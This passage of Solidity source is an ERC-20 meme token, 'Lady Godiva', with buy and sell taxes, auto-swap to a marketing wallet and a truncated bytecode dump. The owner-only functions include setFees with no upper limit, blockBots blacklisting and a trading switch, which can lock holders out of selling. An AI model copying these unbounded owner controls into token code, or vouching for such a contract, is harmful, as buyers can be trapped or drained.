function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Godiva is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Lady Godiva";
string private constant _symbol = "GODVIA";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 12;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0x53083fe1d1F18fB7a8061D58B628E0650e498048);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b806323b872dd1161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b806323b872dd146103155780632fd689e314610352578063313ce5671461037d57806349bd5a5e146103a8576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780630e66e7f1146102965780631694505e146102bf57806318160ddd146102ea576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190613065565b6108fa565b005b3480156102cb57600080fd5b506102d4610993565b6040516102e191906134eb565b60405180910390f35b3480156102f657600080fd5b506102ff6109b9565b60405161030c91906136e8565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190612ec8565b6109c3565b60405161034991906134d0565b60405180910390f35b34801561035e57600080fd5b50610367610a9c565b60405161037491906136e8565b60405180910390f35b34801561038957600080fd5b50610392610aa2565b60405161039f919061375d565b60405180910390f35b3480156103b457600080fd5b506103bd610aab565b6040516103ca9190613454565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190612f1b565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e9190612f9b565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190612e2e565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613065565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190612e2e565b610e08565b6040516104ab91906136e8565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613092565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906136e8565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b6040516105419190613454565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600b81526020017f4c61647920476f64697661000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b610902611495565b73ffffffffffffffffffffffffffffffffffffffff16610920610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096d90613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60006109d0848484611668565b610a91846109dc611495565b610a8c85604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a42611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90613648565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c48613adb565b5b9050602002016020810190610c5e9190612e2e565b858585818110610c7157610c70613adb565b5b90506020020135612062565b508080610c8990613a34565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490613648565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100190613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600681526020017f474f445649410000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906136e8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf90613688565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f90613528565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613668565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906135c8565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613548565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906135a8565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb919061381e565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b10919061381e565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613608565b60405180910390fd5b5b600f5481611b5f84610e08565b611b69919061381e565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba0906136a8565b60405180910390fd5b5b6000611bb530610e08565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190613506565b60405180910390fd5b506000838561205591906138ff565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906136e8565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d91906138ff565b905060004790506000600267ffffffffffffffff81111561237157612370613b0a565b5b60405190808252806020026020018201604052801561239f5781602001602082028036833780820191505090505b50905030816000815181106123b7576123b6613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561245957600080fd5b505afa15801561246d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124919190612e5b565b816001815181106124a5576124a4613adb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061250c30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168761149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478560008430426040518663ffffffff1660e01b8152600401612570959493929190613703565b600060405180830381600087803b15801561258a57600080fd5b505af115801561259e573d6000803e3d6000fd5b5050505060006125b783476127c390919063ffffffff16565b90506125e9846125e460646125d6600f866126fe90919063ffffffff16565b61277990919063ffffffff16565b61280d565b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612674573d6000803e3d6000fd5b5050565b8061268e57612688848484612062565b5061269a565b6126998484846128fb565b5b50505050565b60008082846126af919061381e565b9050838110156126f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126eb906135e8565b60405180910390fd5b8091505092915050565b6000808314156127115760009050612773565b6000828461271f91906138a5565b905082848261272e9190613874565b1461276e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276590613628565b60405180910390fd5b809150505b92915050565b60006127bb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ad5565b905092915050565b600061280583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ffe565b905092915050565b61283a30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461149d565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806000426040518863ffffffff1660e01b81526004016128a29695949392919061346f565b6060604051808303818588803b1580156128bb57600080fd5b505af11580156128cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f491906130ff565b5050505050565b60006129078483612b38565b9050612992826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffff